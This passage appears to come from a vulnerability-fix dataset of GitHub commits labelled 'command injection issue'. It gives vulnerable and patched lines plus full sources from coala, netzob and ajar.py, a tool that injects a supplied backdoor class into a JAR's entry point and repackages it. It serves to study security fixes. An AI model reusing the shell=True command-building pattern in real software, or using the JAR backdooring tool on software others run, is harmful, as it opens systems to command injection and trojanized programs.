**kwargs) as p:\n ret = p.communicate(stdin)\n return ret\n\n\ndef get_shell_type(): # pragma: no cover\n \"\"\"\n Finds the current shell type based on the outputs of common pre-defined\n variables in them. This is useful to identify which sort of escaping\n is required for strings.\n\n :return: The shell type. This can be either \"powershell\" if Windows\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n out = run_shell_command(\"echo $host.name\")[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n out = run_shell_command(\"echo $0\")[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh\"\n\n\ndef prepare_string_argument(string, shell=get_shell_type()):\n \"\"\"\n Prepares a string argument for being passed as a parameter on shell.\n\n On ``sh`` this function effectively encloses the given string\n with quotes (either '' or \"\", depending on content).\n\n :param string: The string to prepare for shell.\n :param shell: The shell platform to prepare string argument for.\n If it is not \"sh\" it will be ignored and return the\n given string without modification.\n :return: The shell-prepared string.\n \"\"\"\n if shell == \"sh\":\n return '\"' + escape(string, '\"') + '\"'\n else:\n return string\n\n\ndef escape_path_argument(path, shell=get_shell_type()):\n \"\"\"\n Makes a raw path ready for using as parameter in a shell command (escapes\n illegal characters, surrounds with quotes etc.).\n\n :param path: The path to make ready for shell.\n :param shell: The shell platform to escape the path argument for. Possible\n values are \"sh\", \"powershell\", and \"cmd\" (others will be\n ignored and return the given path without modification).\n :return: The escaped path argument.\n \"\"\"\n if shell == \"cmd\":\n # If a quote (\") occurs in path (which is illegal for NTFS file\n # systems, but maybe for others), escape it by preceding it with\n # a caret (^).\n return '\"' + escape(path, '\"', '^') + '\"'\n elif shell == \"sh\":\n return escape(path, \" \")\n else:\n # Any other non-supported system doesn't get a path escape.\n return path\n"}, "/tests/misc/ShellTest.py": {"changes": [{"diff": "\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n", "add": 2, "remove": 4, "filename": "/tests/misc/ShellTest.py", "badparts": [" return \" \".join(", " escape_path_argument(s) for s in (", " sys.executable,", " scriptname)))"], "goodparts": [" return (sys.executable,", " scriptname))"]}, {"diff": "\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "add": 1, "remove": 1, "filename": "/tests/misc/ShellTest.py", "badparts": [" with run_interactive_shell_command(\"some_command\", shell=False):"], "goodparts": [" with run_interactive_shell_command(\"some_command\", stdout=None):"]}], "source": "\nimport os import sys import unittest from coalib.misc.Shell import( escape_path_argument, prepare_string_argument, run_interactive_shell_command, run_shell_command) class EscapePathArgumentTest(unittest.TestCase): def test_escape_path_argument_sh(self): _type=\"sh\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/usr/a-dir/\", _type), \"/home/usr/a-dir/\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\") self.assertEqual( escape_path_argument(\"/home/us r/a-dir with spaces/x/\", _type), \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\") self.assertEqual( escape_path_argument( \"relative something/with cherries and/pickles.delicious\", _type), \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\") def test_escape_path_argument_cmd(self): _type=\"cmd\" self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type), \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\") self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type), \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\", _type), \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\my-custom relative tool\\\\\", _type), \"\\\"System32\\\\my-custom relative tool\\\\\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type), \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\") def test_escape_path_argument_unsupported(self): _type=\"INVALID\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us r/a-file with spaces.bla\") self.assertEqual( escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type), \"|home|us r|a*dir with spaces|x|\") self.assertEqual( escape_path_argument(\"system|a|b|c?d\", _type), \"system|a|b|c?d\") class RunShellCommandTest(unittest.TestCase): @staticmethod def construct_testscript_command(scriptname): return \" \".join( escape_path_argument(s) for s in( sys.executable, os.path.join(os.path.dirname(os.path.realpath(__file__)), \"run_shell_command_testfiles\", scriptname))) def test_run_interactive_shell_command(self): command=RunShellCommandTest.construct_testscript_command( \"test_interactive_program.py\") with run_interactive_shell_command(command) as p: self.assertEqual(p.stdout.readline(), \"test_program X\\n\") self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\") p.stdin.write(\"33\\n\") p.stdin.flush() self.assertEqual(p.stdout.readline(), \"33\\n\") self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\") def test_run_interactive_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", weird_parameter=30): pass with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", shell=False): pass def test_run_shell_command_without_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_program.py\") stdout, stderr=run_shell_command(command) expected=(\"test_program Z\\n\" \"non-interactive mode.\\n\" \"Exiting...\\n\") self.assertEqual(stdout, expected) self.assertEqual(stderr, \"\") def test_run_shell_command_with_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_input_program.py\") stdout, stderr=run_shell_command(command, \"1 4 10 22\") self.assertEqual(stdout, \"37\\n\") self.assertEqual(stderr, \"\") stdout, stderr=run_shell_command(command, \"1 p 5\") self.assertEqual(stdout, \"\") self.assertEqual(stderr, \"INVALID INPUT\\n\") def test_run_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\") with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", universal_newlines=False) class PrepareStringArgumentTest(unittest.TestCase): def setUp(self): self.test_strings=(\"normal_string\", \"string with spaces\", 'string with quotes\"a', \"string with s-quotes'b\", \"bsn \\n A\", \"unrecognized \\\\q escape\") def test_prepare_string_argument_sh(self): expected_results=('\"normal_string\"', '\"string with spaces\"', '\"string with quotes\\\\\"a\"', '\"string with s-quotes\\'b\"', '\"bsn \\n A\"', '\"unrecognized \\\\q escape\"') for string, result in zip(self.test_strings, expected_results): self.assertEqual(prepare_string_argument(string, \"sh\"), result) def test_prepare_string_argument_unsupported(self): for string in self.test_strings: self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"), string) ", "sourceWithComments": "import os\nimport sys\nimport unittest\n\nfrom coalib.misc.Shell import (\n escape_path_argument, prepare_string_argument,\n run_interactive_shell_command, run_shell_command)\n\n\nclass EscapePathArgumentTest(unittest.TestCase):\n\n def test_escape_path_argument_sh(self):\n _type = \"sh\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-dir/\", _type),\n \"/home/usr/a-dir/\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\",\n _type),\n \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-dir with spaces/x/\",\n _type),\n \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\")\n self.assertEqual(\n escape_path_argument(\n \"relative something/with cherries and/pickles.delicious\",\n _type),\n \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\")\n\n def test_escape_path_argument_cmd(self):\n _type = \"cmd\"\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type),\n \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\")\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type),\n \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\",\n _type),\n \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\",\n _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\my-custom relative tool\\\\\",\n _type),\n \"\\\"System32\\\\my-custom relative tool\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type),\n \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\")\n\n def test_escape_path_argument_unsupported(self):\n _type = \"INVALID\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type),\n \"/home/us r/a-file with spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type),\n \"|home|us r|a*dir with spaces|x|\")\n self.assertEqual(\n escape_path_argument(\"system|a|b|c?d\", _type),\n \"system|a|b|c?d\")\n\n\nclass RunShellCommandTest(unittest.TestCase):\n\n @staticmethod\n def construct_testscript_command(scriptname):\n return \" \".join(\n escape_path_argument(s) for s in (\n sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n scriptname)))\n\n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_interactive_program.py\")\n\n with run_interactive_shell_command(command) as p:\n self.assertEqual(p.stdout.readline(), \"test_program X\\n\")\n self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\")\n p.stdin.write(\"33\\n\")\n p.stdin.flush()\n self.assertEqual(p.stdout.readline(), \"33\\n\")\n self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\")\n\n def test_run_interactive_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\",\n weird_parameter=30):\n pass\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\", shell=False):\n pass\n\n def test_run_shell_command_without_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_program.py\")\n\n stdout, stderr = run_shell_command(command)\n\n expected = (\"test_program Z\\n\"\n \"non-interactive mode.\\n\"\n \"Exiting...\\n\")\n self.assertEqual(stdout, expected)\n self.assertEqual(stderr, \"\")\n\n def test_run_shell_command_with_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_input_program.py\")\n\n stdout, stderr = run_shell_command(command, \"1 4 10 22\")\n\n self.assertEqual(stdout, \"37\\n\")\n self.assertEqual(stderr, \"\")\n\n stdout, stderr = run_shell_command(command, \"1 p 5\")\n\n self.assertEqual(stdout, \"\")\n self.assertEqual(stderr, \"INVALID INPUT\\n\")\n\n def test_run_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\")\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", universal_newlines=False)\n\n\nclass PrepareStringArgumentTest(unittest.TestCase):\n\n def setUp(self):\n self.test_strings = (\"normal_string\",\n \"string with spaces\",\n 'string with quotes\"a',\n \"string with s-quotes'b\",\n \"bsn \\n A\",\n \"unrecognized \\\\q escape\")\n\n def test_prepare_string_argument_sh(self):\n expected_results = ('\"normal_string\"',\n '\"string with spaces\"',\n '\"string with quotes\\\\\"a\"',\n '\"string with s-quotes\\'b\"',\n '\"bsn \\n A\"',\n '\"unrecognized \\\\q escape\"')\n\n for string, result in zip(self.test_strings, expected_results):\n self.assertEqual(prepare_string_argument(string, \"sh\"),\n result)\n\n def test_prepare_string_argument_unsupported(self):\n for string in self.test_strings:\n self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"),\n string)\n"}}, "msg": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\n`Lint` does still use `shell=True` for compatability purposes. This\nwill be changed in following commits.\n\nThis reintroduces commit adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f."}}, "https://github.com/Atticuss/ajar": {"5ed8aba271ad20e6168f2e3bd6c25ba89b84484f": {"url": "https://api.github.com/repos/Atticuss/ajar/commits/5ed8aba271ad20e6168f2e3bd6c25ba89b84484f", "html_url": "https://github.com/Atticuss/ajar/commit/5ed8aba271ad20e6168f2e3bd6c25ba89b84484f", "sha": "5ed8aba271ad20e6168f2e3bd6c25ba89b84484f", "keyword": "command injection issue", "diff": "diff --git a/ajar.py b/ajar.py\nindex c1eba4a..3230be3 100644\n--- a/ajar.py\n+++ b/ajar.py\n@@ -87,7 +87,8 @@ def start():\n print(\"[*] Provided backdoor successfully modified\")\n \n print(\"[*] Compiling modified backdoor...\")\n- if subprocess.call(\"javac -cp tmp/ tmp/%s\" % backdoor, shell=True) != 0:\n+ #if subprocess.call(\"javac -cp tmp/ tmp/%s\" % backdoor, shell=True) != 0:\n+ if subprocess.call(['javac','-cp','tmp/','tmp/%s'%backdoor],shell=False) != 0:\n print(\"[!] Error compiling %s\" % backdoor)\n print(\"[*] Compiled modified backdoor\")\n \n", "message": "", "files": {"/ajar.py": {"changes": [{"diff": "\n print(\"[*] Provided backdoor successfully modified\")\n \n print(\"[*] Compiling modified backdoor...\")\n- if subprocess.call(\"javac -cp tmp/ tmp/%s\" % backdoor, shell=True) != 0:\n+ #if subprocess.call(\"javac -cp tmp/ tmp/%s\" % backdoor, shell=True) != 0:\n+ if subprocess.call(['javac','-cp','tmp/','tmp/%s'%backdoor],shell=False) != 0:\n print(\"[!] Error compiling %s\" % backdoor)\n print(\"[*] Compiled modified backdoor\")\n \n", "add": 2, "remove": 1, "filename": "/ajar.py", "badparts": [" if subprocess.call(\"javac -cp tmp/ tmp/%s\" % backdoor, shell=True) != 0:"], "goodparts": [" if subprocess.call(['javac','-cp','tmp/','tmp/%s'%backdoor],shell=False) != 0:"]}], "source": "\nimport zipfile, os, subprocess, shutil, sys, getopt, re backdoor=target=None outfile=\"backdoor.jar\" def main(argv): global backdoor, target, outfile help=0 try: opts, args=getopt.getopt(argv, \"b:t:o:\",[\"backdoor=\", \"target=\", \"outfile=\"]) except getopt.GetoptError: print('USAGE:\\tajar.py -b -t [-o ]') sys.exit(2) for opt, arg in opts: if opt=='-h': help=1 print('USAGE:\\tajar.py') elif opt in(\"-b\", \"--backdoor\"): backdoor=arg elif opt in(\"-t\", \"--target\"): target=arg elif opt in(\"-o\", \"--outfile\"): outfile=arg if(backdoor !=None) &(target !=None): try: start() except: print('[!] An error ocurred:\\n') for e in sys.exc_info(): print(e) elif help !=1: print('USAGE:\\tajar.py -b -t [-o ]') def createZip(src, dst): zf=zipfile.ZipFile(\"%s\" %(dst), \"w\") abs_src=os.path.abspath(src) for dirname, subdirs, files in os.walk(src): for filename in files: if filename !=backdoor: absname=os.path.abspath(os.path.join(dirname, filename)) arcname=absname[len(abs_src) +1:] zf.write(absname, arcname) zf.close() def start(): print(\"[*] Starting backdoor process\") print(\"[*] Decompressing target to tmp directory...\") with zipfile.ZipFile(target, 'r') as zip: zip.extractall(\"tmp\") print(\"[*] Target dumped to tmp directory\") print(\"[*] Modifying manifest file...\") oldmain=\"\" man=open(\"tmp/META-INF/MANIFEST.MF\",\"r\").read() with open(\"tmp/META-INF/MANIFEST.MF\",\"w\") as f: for l in man.split(\"\\n\"): if \"Main-Class\" in l: oldmain=l[12:] f.write(\"Main-Class: %s\\n\" % \"Backdoor\") else: f.write(\"%s\\n\" % l) print(\"[*] Manifest file modified\") print(\"[*] Modifying provided backdoor...\") inmain=False level=0 bd=open(backdoor, \"r\").read() with open(\"tmp/%s\" % backdoor,'w') as f: for l in bd.split(\"\\n\"): if \"main(\" in l: inmain=True f.write(l) elif \"}\" in l and level<2 and inmain: f.write(\"%s.main(args);}\" % oldmain) inmain=False elif \"}\" in l and level>1 and inmain: level-=1 f.write(l) elif \"{\" in l and inmain: level+=1 f.write(l) else: f.write(l) print(\"[*] Provided backdoor successfully modified\") print(\"[*] Compiling modified backdoor...\") if subprocess.call(\"javac -cp tmp/ tmp/%s\" % backdoor, shell=True) !=0: print(\"[!] Error compiling %s\" % backdoor) print(\"[*] Compiled modified backdoor\") if(len(oldmain)<1): print(\"[!] Main-Class manifest attribute not found\") else: print(\"[*] Repackaging target jar file...\") createZip(\"tmp\",outfile) print(\"[*] Target jar successfully repackaged\") shutil.rmtree('tmp/') if __name__==\"__main__\": main(sys.argv[1:]) ", "sourceWithComments": "import zipfile, os, subprocess, shutil, sys, getopt, re\n\nbackdoor = target = None\noutfile = \"backdoor.jar\"\n\ndef main(argv):\n global backdoor, target, outfile\n help = 0\n try:\n opts, args = getopt.getopt(argv, \"b:t:o:\", [\"backdoor=\", \"target=\", \"outfile=\"])\n except getopt.GetoptError:\n print('USAGE:\\tajar.py -b -t [-o ]')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n help = 1\n print('USAGE:\\tajar.py')\n elif opt in (\"-b\", \"--backdoor\"):\n backdoor = arg\n elif opt in (\"-t\", \"--target\"):\n target = arg\n elif opt in (\"-o\", \"--outfile\"):\n outfile = arg\n \n if (backdoor != None) & (target != None):\n try:\n start()\n except:\n print('[!] An error ocurred:\\n')\n for e in sys.exc_info():\n print(e)\n elif help != 1:\n print('USAGE:\\tajar.py -b -t [-o ]')\n\ndef createZip(src, dst):\n zf = zipfile.ZipFile(\"%s\" % (dst), \"w\")\n abs_src = os.path.abspath(src)\n for dirname, subdirs, files in os.walk(src):\n for filename in files:\n if filename != backdoor:\n absname = os.path.abspath(os.path.join(dirname, filename))\n arcname = absname[len(abs_src) + 1:]\n #print('[*] jaring %s as %s' % (os.path.join(dirname, filename), arcname))\n zf.write(absname, arcname)\n zf.close()\n \ndef start():\n print(\"[*] Starting backdoor process\")\n print(\"[*] Decompressing target to tmp directory...\")\n #subprocess.call(\"jar -x %s\" % target, shell=True)\n with zipfile.ZipFile(target, 'r') as zip:\n zip.extractall(\"tmp\")\n print(\"[*] Target dumped to tmp directory\")\n\n print(\"[*] Modifying manifest file...\")\n oldmain=\"\"\n man = open(\"tmp/META-INF/MANIFEST.MF\",\"r\").read()\n with open(\"tmp/META-INF/MANIFEST.MF\",\"w\") as f:\n for l in man.split(\"\\n\"):\n if \"Main-Class\" in l:\n oldmain=l[12:]\n f.write(\"Main-Class: %s\\n\" % \"Backdoor\")\n else:\n f.write(\"%s\\n\" % l)\n print(\"[*] Manifest file modified\")\n \n print(\"[*] Modifying provided backdoor...\")\n inmain=False\n level=0\n bd=open(backdoor, \"r\").read()\n with open(\"tmp/%s\" % backdoor,'w') as f:\n for l in bd.split(\"\\n\"):\n if \"main(\" in l:\n inmain=True\n f.write(l)\n elif \"}\" in l and level<2 and inmain:\n f.write(\"%s.main(args);}\" % oldmain)\n inmain=False\n elif \"}\" in l and level>1 and inmain:\n level-=1\n f.write(l)\n elif \"{\" in l and inmain:\n level+=1\n f.write(l)\n else:\n f.write(l)\n print(\"[*] Provided backdoor successfully modified\")\n\n print(\"[*] Compiling modified backdoor...\")\n if subprocess.call(\"javac -cp tmp/ tmp/%s\" % backdoor, shell=True) != 0:\n print(\"[!] Error compiling %s\" % backdoor)\n print(\"[*] Compiled modified backdoor\")\n \n if(len(oldmain)<1):\n print(\"[!] Main-Class manifest attribute not found\")\n else:\n print(\"[*] Repackaging target jar file...\")\n createZip(\"tmp\",outfile)\n print(\"[*] Target jar successfully repackaged\")\n shutil.rmtree('tmp/')\n \nif __name__ == \"__main__\":\n main(sys.argv[1:])\n"}}, "msg": "fixed command injection issue"}}, "https://github.com/yasong/netzob": {"557abf64867d715497979b029efedbd2777b912e": {"url": "https://api.github.com/repos/yasong/netzob/commits/557abf64867d715497979b029efedbd2777b912e", "html_url": "https://github.com/yasong/netzob/commit/557abf64867d715497979b029efedbd2777b912e", "sha": "557abf64867d715497979b029efedbd2777b912e", "keyword": "command injection issue", "diff": "diff --git a/src/netzob/Simulator/Channels/RawEthernetClient.py b/src/netzob/Simulator/Channels/RawEthernetClient.py\nindex 3578c4e4..efee6ab1 100644\n--- a/src/netzob/Simulator/Channels/RawEthernetClient.py\n+++ b/src/netzob/Simulator/Channels/RawEthernetClient.py\n@@ -213,7 +213,7 @@ def initHeader(self):\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n- p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n+ p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])\n p.wait()\n time.sleep(0.1)\n \n", "message": "", "files": {"/src/netzob/Simulator/Channels/RawEthernetClient.py": {"changes": [{"diff": "\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n- p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n+ p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])\n p.wait()\n time.sleep(0.1)\n \n", "add": 1, "remove": 1, "filename": "/src/netzob/Simulator/Channels/RawEthernetClient.py", "badparts": [" p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)"], "goodparts": [" p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])"]}], "source": "\n import socket from bitarray import bitarray import struct from fcntl import ioctl import arpreq import subprocess import time import binascii from netzob.Common.Utils.Decorators import typeCheck, NetzobLogger from netzob.Simulator.Channels.AbstractChannel import AbstractChannel from netzob.Model.Vocabulary.Field import Field from netzob.Model.Vocabulary.Symbol import Symbol from netzob.Model.Types.IPv4 import IPv4 from netzob.Model.Types.Raw import Raw from netzob.Model.Types.BitArray import BitArray from netzob.Model.Types.Integer import Integer from netzob.Model.Types.AbstractType import AbstractType from netzob.Model.Vocabulary.Domain.Variables.Leafs.Size import Size from netzob.Model.Vocabulary.Domain.Variables.Leafs.Data import Data from netzob.Model.Vocabulary.Domain.Variables.Leafs.InternetChecksum import InternetChecksum from netzob.Model.Vocabulary.Domain.Variables.SVAS import SVAS @NetzobLogger class RawEthernetClient(AbstractChannel): \"\"\"A RawEthernetClient is a communication channel allowing to send IP payloads. This channel is responsible for building the IP layer. Interesting link: http://www.offensivepython.com/2014/09/packet-injection-capturing-response.html >>> from netzob.all import * >>> client=RawEthernetClient(remoteIP='127.0.0.1') >>> client.open() >>> symbol=Symbol([Field(\"Hello Zoby !\")]) >>> client.write(symbol.specialize()) >>> client.close() \"\"\" ETH_P_ALL=3 @typeCheck(str, int) def __init__(self, remoteIP, localIP=None, upperProtocol=socket.IPPROTO_TCP, interface=\"eth0\", timeout=5): super(RawEthernetClient, self).__init__(isServer=False) self.remoteIP=remoteIP self.localIP=localIP self.upperProtocol=upperProtocol self.interface=interface self.timeout=timeout self.__socket=None self.header=None self.header_presets={} self.type=AbstractChannel.TYPE_RAWETHERNETCLIENT self.initHeader() def open(self, timeout=None): \"\"\"Open the communication channel. If the channel is a client, it starts to connect to the specified server. \"\"\" if self.isOpen: raise RuntimeError( \"The channel is already open, cannot open it again\") self.__socket=socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(RawEthernetClient.ETH_P_ALL)) self.__socket.bind((self.interface, RawEthernetClient.ETH_P_ALL)) self.isOpen=True def close(self): \"\"\"Close the communication channel.\"\"\" if self.__socket is not None: self.__socket.close() self.isOpen=False def read(self, timeout=None): \"\"\"Read the next message on the communication channel. @keyword timeout: the maximum time in millisecond to wait before a message can be reached @type timeout::class:`int` \"\"\" if self.__socket is not None: (data, _)=self.__socket.recvfrom(65535) ethHeaderLen=14 if len(data) > ethHeaderLen: data=data[ethHeaderLen:] ipHeaderLen=(data[0] & 15) * 4 if len(data) > ipHeaderLen: data=data[ipHeaderLen:] return data else: raise Exception(\"socket is not available\") def writePacket(self, data): \"\"\"Write on the communication channel the specified data :parameter data: the data to write on the channel :type data: binary object \"\"\" if self.header is None: raise Exception(\"IP header structure is None\") if self.__socket is None: raise Exception(\"socket is not available\") self.header_presets['ip.payload']=data packet=self.header.specialize(presets=self.header_presets) len_data=self.__socket.sendto(packet,(self.interface, RawEthernetClient.ETH_P_ALL)) return len_data @typeCheck(bytes) def sendReceive(self, data, timeout=None): \"\"\"Write on the communication channel the specified data and returns the corresponding response :parameter data: the data to write on the channel :type data: binary object @type timeout::class:`int` \"\"\" if self.__socket is not None: portSrcTx=(data[0] * 256) +data[1] portDstTx=(data[2] * 256) +data[3] responseOk=False stopWaitingResponse=False self.write(data) while stopWaitingResponse is False: dataReceived=self.read(timeout) portSrcRx=(dataReceived[0] * 256) +dataReceived[1] portDstRx=(dataReceived[2] * 256) +dataReceived[3] stopWaitingResponse=(portSrcTx==portDstRx) and(portDstTx==portSrcRx) if stopWaitingResponse: responseOk=True if responseOk: return dataReceived else: raise Exception(\"socket is not available\") def get_interface_addr(self, ifname): SIOCGIFHWADDR=0x8927 s=socket.socket() response=ioctl(s, SIOCGIFHWADDR, struct.pack(\"16s16x\",ifname)) s.close() return struct.unpack(\"16xh6s8x\", response) def initHeader(self): \"\"\"Initialize the IP header according to the IP format definition. \"\"\" dstMacAddr=arpreq.arpreq(self.remoteIP) if dstMacAddr is not None: dstMacAddr=dstMacAddr.replace(':', '') dstMacAddr=binascii.unhexlify(dstMacAddr) else: p=subprocess.Popen(\"ping -c1{}\".format(self.remoteIP), shell=True) p.wait() time.sleep(0.1) dstMacAddr=arpreq.arpreq(self.remoteIP) if dstMacAddr is not None: dstMacAddr=dstMacAddr.replace(':', '') dstMacAddr=binascii.unhexlify(dstMacAddr) else: raise Exception(\"Cannot resolve IP address to a MAC address for IP: '{}'\".format(self.remoteIP)) srcMacAddr=self.get_interface_addr(bytes(self.interface, 'utf-8'))[1] eth_dst=Field(name='eth.dst', domain=Raw(dstMacAddr)) eth_src=Field(name='eth.src', domain=Raw(srcMacAddr)) eth_type=Field(name='eth.type', domain=Raw(b\"\\x08\\x00\")) ip_ver=Field( name='ip.version', domain=BitArray( value=bitarray('0100'))) ip_ihl=Field(name='ip.hdr_len', domain=BitArray(bitarray('0000'))) ip_tos=Field( name='ip.tos', domain=Data( dataType=BitArray(nbBits=8), originalValue=bitarray('00000000'), svas=SVAS.PERSISTENT)) ip_tot_len=Field( name='ip.len', domain=BitArray(bitarray('0000000000000000'))) ip_id=Field(name='ip.id', domain=BitArray(nbBits=16)) ip_flags=Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT)) ip_frag_off=Field(name='ip.fragment', domain=Data(dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT)) ip_ttl=Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT)) ip_proto=Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED)) ip_checksum=Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000'))) ip_saddr=Field(name='ip.src', domain=IPv4(self.localIP)) ip_daddr=Field( name='ip.dst', domain=IPv4(self.remoteIP)) ip_payload=Field(name='ip.payload', domain=Raw()) ip_ihl.domain=Size([ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr], dataType=BitArray(nbBits=4), factor=1/float(32)) ip_tot_len.domain=Size([ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload], dataType=Integer(unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1/float(8)) 